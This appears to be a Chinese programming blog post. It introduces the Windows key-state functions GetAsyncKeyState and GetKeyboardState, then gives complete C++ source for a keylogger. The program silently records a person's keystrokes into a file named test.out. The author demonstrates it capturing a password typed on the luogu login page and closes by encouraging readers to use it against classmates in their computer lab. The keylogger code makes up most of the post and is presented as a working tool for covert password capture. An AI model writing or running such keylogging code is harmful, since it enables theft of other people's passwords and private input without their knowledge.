判断 Virtual-KeyCodes 为 vKey 的键是否 up 或 down 。用返回值的最高位表示键的状态( up 或 down ),用返回值的最低位表示 vKey 键在此函数调用之前是否被按下过。
GetAsyncKeyState 函数可以直接侦测键盘的硬件中断。
获得所有的 256 256 256 个键(键盘按键、鼠标按键等等)的状态, lpKeyState 是指向一个 256 256 256 bit 的数组,存放所有键的状态。
通过该函数的介绍,我们可以将它分成两部分,一个是 KEY_UP ,另一个是 KEY_DOWN ,我们以是否检测到换行(即 Enter )为例:
#include
#include
#define KEY_UP(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 0:1)
using namespace std;
int main() {
while(1) {
while(!KEY_UP(13)) {//Enter在Key Code中为13
cout<<" Enter is on \n";
Sleep(150);
}
}
return 0;
}
#include
#include
#define KEY_DOWN(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 1:0)
using namespace std;
int main() {
while(1) {
while(KEY_DOWN(13)) {//Enter在Key Code中为13
cout<<" Enter is on \n";
Sleep(150);
}
}
return 0;
}
在上述程序中, KEY_UP 是当没有检测到 Enter 没有输入时才输出 " Enter is on " , KEY_DOWN 是当检测到 Enter 有输入时才输出 " Enter is on " 。
其实 KEY_UP 与 KEY_DOWN 是相反的,但为了方便理解,我们一般都使用 KEY_DOWN 。
该函数一般用来检测 CapsLock 或 NumLock 是否开启,但仅限于用在程序开启之前(因为程序打开后就只能靠 GetAsyncKeyState 检测了)。
我们以是否在程序开启前检测到 CapsLock 或 NumLock 为例:
#include
#include
using namespace std;
BYTE lpKeyState[256];
int main() {
if (GetKeyboardState(lpKeyState) ) {
printf(" CapsLock is %s\n", LOBYTE(lpKeyState[20]) ? "on " : "off ");
//CapsLock在Key Code中为20
printf(" NumLock is %s\n", LOBYTE(lpKeyState[144]) ? "on " : "off ");
//NumLock在Key Code中为144
}
return 0;
}
Q:是否存在一种程序在程序打开之后,当在本机中输入某网页里的密码时,可以将密码显示在一个 OUT 文件 test 里。
A:只要你会应用 GetAsyncKeyState 与 GetKeyboardState 函数,那么这种事情是比较容易的。
首先我们要知道当我们输入某网页里的密码常按的键有哪些,则上述问题即可转化为:
读入若干个键(包含字母键、数字键、 CapsLock 键、 NumLock 键、 Shift 键和删除键)形成的字符串,要求不能在程序中显示,需打印到一个 OUT 文件 test 里。
字母键
首先用 GetKeyboardState 函数预先检测 CapsLock 键是否开启,后期用 GetAsyncKeyState 函数检测 CapsLock 键是否改变,并用 KEY_DOWN 检测是否按下英文字母 26 26 26 个键以及 Shift 键。
在 Shift 键下如果有 CapsLock 则输出小写字母,否则输出大写字母;在没有 Shift 键下如果有 CapsLock 则输出大写字母,否则输出小写字母。
数字键
分数字键和数字键盘上的数字键。
在数字键中直接用 KEY_DOWN 检测输出即可。
在数字键盘上的数字键需先用 GetKeyboardState 函数预先检测 NumLock 键是否开启,后期用 GetAsyncKeyState 函数检测 NumLock 键是否改变,并用 KEY_DOWN 检测到数字键盘上的数字键且 NumLock 已开启输出即可。
删除键
当检测到可以输出字符时,就用一个字符串存储该字符。
当检测到删除键时,刷新 OUT 文件 test ,并将该字符串最后一个字符删掉并输出即可。
#include //字符删除和字符输出需要的头文件
#include //文件创建需要的头文件
#include //字符删除需要的头文件
#include //GetAsyncKeyState与GetKeyboardState函数需要的头文件
#define KEY_DOWN(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 1:0)//GetAsyncKeyState函数中的KEY_DOWN
using namespace std;
int CapsLock,NumLock,Shift;//CapsLock键、NumLock键和Shift键的检测标记
string str;//字符存储
BYTE lpKeyState[256];//GetKeyboardState函数需要
int main() {
freopen("test.out","w",stdout);//初始化文件,开始读入
if (GetKeyboardState(lpKeyState) ) {//初始时检测CapsLock键和NumLock键
CapsLock=LOBYTE(lpKeyState[20])?1:0;//检测CapsLock键是否已按,有就标记为1,否则标记为0
NumLock=LOBYTE(lpKeyState[144])?1:0;//检测NumLock键是否已按,有就标记为1,否则标记为0
}
while(1) {
while(KEY_DOWN(8)) {//检测删除键
freopen("test.out","w",stdout);//刷新文件并读入
if(str.size()!=0)//判断字符串是否是空串,如果是空串而继续删除,则会发生数组越界而程序错误
str.erase(str.size()-1);//删除最后一个字符
cout<<str;//输出字符串
Sleep(150);
}
while(KEY_DOWN(20)) {//后期检测CapsLock键
CapsLock=CapsLock==1?0:1;//检测CapsLock键是否改变,有就更该标记
Sleep(150);
}
while(KEY_DOWN(144)) {//后期检测NumLock键
NumLock=NumLock==1?0:1;//检测CapsLock键是否改变,有就更该标记
Sleep(150);
}
while(KEY_DOWN(16)) {//检测到Shift键
//在Shift键下如果有CapsLock则输出小写字母,否则输出大写字母
while(KEY_DOWN('A')) {
if(!CapsLock) cout<<'A',str+='A';
else cout<<'a',str+='a';
Sleep(150);
}
while(KEY_DOWN('B')) {
if(!CapsLock) cout<<'B',str+='B';
else cout<<'b',str+='b';
Sleep(150);
}
while(KEY_DOWN('C')) {
if(!CapsLock) cout<<'C',str+='C';
else cout<<'c',str+='c';
Sleep(150);
}
while(KEY_DOWN('D')) {
if(!CapsLock) cout<<'D',str+='D';
else cout<<'d',str+='d';
Sleep(150);
}
while(KEY_DOWN('E')) {
if(!CapsLock) cout<<'E',str+='E';
else cout<<'e',str+='e';
Sleep(150);
}
while(KEY_DOWN('F')) {
if(!CapsLock) cout<<'F',str+='F';
else cout<<'f',str+='f';
Sleep(150);
}
while(KEY_DOWN('G')) {
if(!CapsLock) cout<<'G',str+='G';
else cout<<'g',str+='g';
Sleep(150);
}
while(KEY_DOWN('H')) {
if(!CapsLock) cout<<'H',str+='H';
else cout<<'h',str+='h';
Sleep(150);
}
while(KEY_DOWN('I')) {
if(!CapsLock) cout<<'I',str+='I';
else cout<<'i',str+='i';
Sleep(150);
}
while(KEY_DOWN('J')) {
if(!CapsLock) cout<<'J',str+='J';
else cout<<'j',str+='j';
Sleep(150);
}
while(KEY_DOWN('K')) {
if(!CapsLock) cout<<'K',str+='K';
else cout<<'k',str+='k';
Sleep(150);
}
while(KEY_DOWN('L')) {
if(!CapsLock) cout<<'L',str+='L';
else cout<<'l',str+='l';
Sleep(150);
}
while(KEY_DOWN('M')) {
if(!CapsLock) cout<<'M',str+='M';
else cout<<'m',str+='m';
Sleep(150);
}
while(KEY_DOWN('N')) {
if(!CapsLock) cout<<'N',str+='N';
else cout<<'n',str+='n';
Sleep(150);
}
while(KEY_DOWN('O')) {
if(!CapsLock) cout<<'O',str+='O';
else cout<<'o',str+='o';
Sleep(150);
}
while(KEY_DOWN('P')) {
if(!CapsLock) cout<<'P',str+='P';
else cout<<'p',str+='p';
Sleep(150);
}
while(KEY_DOWN('Q')) {
if(!CapsLock) cout<<'Q',str+='Q';
else cout<<'q',str+='q';
Sleep(150);
}
while(KEY_DOWN('R')) {
if(!CapsLock) cout<<'R',str+='R';
else cout<<'r',str+='r';
Sleep(150);
}
while(KEY_DOWN('S')) {
if(!CapsLock) cout<<'S',str+='S';
else cout<<'s',str+='s';
Sleep(150);
}
while(KEY_DOWN('T')) {
if(!CapsLock) cout<<'T',str+='T';
else cout<<'t',str+='t';
Sleep(150);
}
while(KEY_DOWN('U')) {
if(!CapsLock) cout<<'U',str+='U';
else cout<<'u',str+='u';
Sleep(150);
}
while(KEY_DOWN('V')) {
if(!CapsLock) cout<<'V',str+='V';
else cout<<'v',str+='v';
Sleep(150);
}
while(KEY_DOWN('W')) {
if(!CapsLock) cout<<'W',str+='W';
else cout<<'w',str+='w';
Sleep(150);
}
while(KEY_DOWN('X')) {
if(!CapsLock) cout<<'X',str+='X';
else cout<<'x',str+='x';
Sleep(150);
}
while(KEY_DOWN('Y')) {
if(!CapsLock) cout<<'Y',str+='Y';
else cout<<'y',str+='y';
Sleep(150);
}
while(KEY_DOWN('Z')) {
if(!CapsLock) cout<<'Z',str+='Z';
else cout<<'z',str+='z';
Sleep(150);
}
}
//在没有Shift键下如果有CapsLock则输出大写字母,否则输出小写字母
while(KEY_DOWN('A')) {
if(CapsLock) cout<<'A',str+='A';
else cout<<'a',str+='a';
Sleep(150);
}
while(KEY_DOWN('B')) {
if(CapsLock) cout<<'B',str+='B';
else cout<<'b',str+='b';
Sleep(150);
}
while(KEY_DOWN('C')) {
if(CapsLock) cout<<'C',str+='C';
else cout<<'c',str+='c';
Sleep(150);
}
while(KEY_DOWN('D')) {
if(CapsLock) cout<<'D',str+='D';
else cout<<'d',str+='d';
Sleep(150);
}
while(KEY_DOWN('E')) {
if(CapsLock) cout<<'E',str+='E';
else cout<<'e',str+='e';
Sleep(150);
}
while(KEY_DOWN('F')) {
if(CapsLock) cout<<'F',str+='F';
else cout<<'f',str+='f';
Sleep(150);
}
while(KEY_DOWN('G')) {
if(CapsLock) cout<<'G',str+='G';
else cout<<'g',str+='g';
Sleep(150);
}
while(KEY_DOWN('H')) {
if(CapsLock) cout<<'H',str+='H';
else cout<<'h',str+='h';
Sleep(150);
}
while(KEY_DOWN('I')) {
if(CapsLock) cout<<'I',str+='I';
else cout<<'i',str+='i';
Sleep(150);
}
while(KEY_DOWN('J')) {
if(CapsLock) cout<<'J',str+='J';
else cout<<'j',str+='j';
Sleep(150);
}
while(KEY_DOWN('K')) {
if(CapsLock) cout<<'K',str+='K';
else cout<<'k',str+='k';
Sleep(150);
}
while(KEY_DOWN('L')) {
if(CapsLock) cout<<'L',str+='L';
else cout<<'l',str+='l';
Sleep(150);
}
while(KEY_DOWN('M')) {
if(CapsLock) cout<<'M',str+='M';
else cout<<'m',str+='m';
Sleep(150);
}
while(KEY_DOWN('N')) {
if(CapsLock) cout<<'N',str+='N';
else cout<<'n',str+='n';
Sleep(150);
}
while(KEY_DOWN('O')) {
if(CapsLock) cout<<'O',str+='O';
else cout<<'o',str+='o';
Sleep(150);
}
while(KEY_DOWN('P')) {
if(CapsLock) cout<<'P',str+='P';
else cout<<'p',str+='p';
Sleep(150);
}
while(KEY_DOWN('Q')) {
if(CapsLock) cout<<'Q',str+='Q';
else cout<<'q',str+='q';
Sleep(150);
}
while(KEY_DOWN('R')) {
if(CapsLock) cout<<'R',str+='R';
else cout<<'r',str+='r';
Sleep(150);
}
while(KEY_DOWN('S')) {
if(CapsLock) cout<<'S',str+='S';
else cout<<'s',str+='s';
Sleep(150);
}
while(KEY_DOWN('T')) {
if(CapsLock) cout<<'T',str+='T';
else cout<<'t',str+='t';
Sleep(150);
}
while(KEY_DOWN('U')) {
if(CapsLock) cout<<'U',str+='U';
else cout<<'u',str+='u';
Sleep(150);
}
while(KEY_DOWN('V')) {
if(CapsLock) cout<<'V',str+='V';
else cout<<'v',str+='v';
Sleep(150);
}
while(KEY_DOWN('W')) {
if(CapsLock) cout<<'W',str+='W';
else cout<<'w',str+='w';
Sleep(150);
}
while(KEY_DOWN('X')) {
if(CapsLock) cout<<'X',str+='X';
else cout<<'x',str+='x';
Sleep(150);
}
while(KEY_DOWN('Y')) {
if(CapsLock) cout<<'Y',str+='Y';
else cout<<'y',str+='y';
Sleep(150);
}
while(KEY_DOWN('Z')) {
if(CapsLock) cout<<'Z',str+='Z';
else cout<<'z',str+='z';
Sleep(150);
}
//数字键无需检测NumLock是否开启,检测到数字键就直接输出
while(KEY_DOWN('0')) {
cout<<'0',str+='0';
Sleep(150);
}
while(KEY_DOWN('1')) {
cout<<'1',str+='1';
Sleep(150);
}
while(KEY_DOWN('2')) {
cout<<'2',str+='2';
Sleep(150);
}
while(KEY_DOWN('3')) {
cout<<'3',str+='3';
Sleep(150);
}
while(KEY_DOWN('4')) {
cout<<'4',str+='4';
Sleep(150);
}
while(KEY_DOWN('5')) {
cout<<'5',str+='5';
Sleep(150);
}
while(KEY_DOWN('6')) {
cout<<'6',str+='6';
Sleep(150);
}
while(KEY_DOWN('7')) {
cout<<'7',str+='7';
Sleep(150);
}
while(KEY_DOWN('8')) {
cout<<'8',str+='8';
Sleep(150);
}
while(KEY_DOWN('9')) {
cout<<'9',str+='9';
Sleep(150);
}
//数字键盘上的数字键需检测NumLock是否开启,检测到数字键盘上的键需NumLock已开启才能输出
while(KEY_DOWN('0'+48)&&NumLock) {
cout<<'0',str+='0';
Sleep(150);
}
while(KEY_DOWN('1'+48)&&NumLock) {
cout<<'1',str+='1';
Sleep(150);
}
while(KEY_DOWN('2'+48)&&NumLock) {
cout<<'2',str+='2';
Sleep(150);
}
while(KEY_DOWN('3'+48)&&NumLock) {
cout<<'3',str+='3';
Sleep(150);
}
while(KEY_DOWN('4'+48)&&NumLock) {
cout<<'4',str+='4';
Sleep(150);
}
while(KEY_DOWN('5'+48)&&NumLock) {
cout<<'5',str+='5';
Sleep(150);
}
while(KEY_DOWN('6'+48)&&NumLock) {
cout<<'6',str+='6';
Sleep(150);
}
while(KEY_DOWN('7'+48)&&NumLock) {
cout<<'7',str+='7';
Sleep(150);
}
while(KEY_DOWN('8'+48)&&NumLock) {
cout<<'8',str+='8';
Sleep(150);
}
while(KEY_DOWN('9'+48)&&NumLock) {
cout<<'9',str+='9';
Sleep(150);
}
}
return 0;
}
在 luogu 登录中输入密码(oyearvan114514thatsgood)就可以在 OUT 文件 test 里打印出来,如图:
(猎杀时刻)是时候用这个去诱惑你同机房睿智的同学了。。。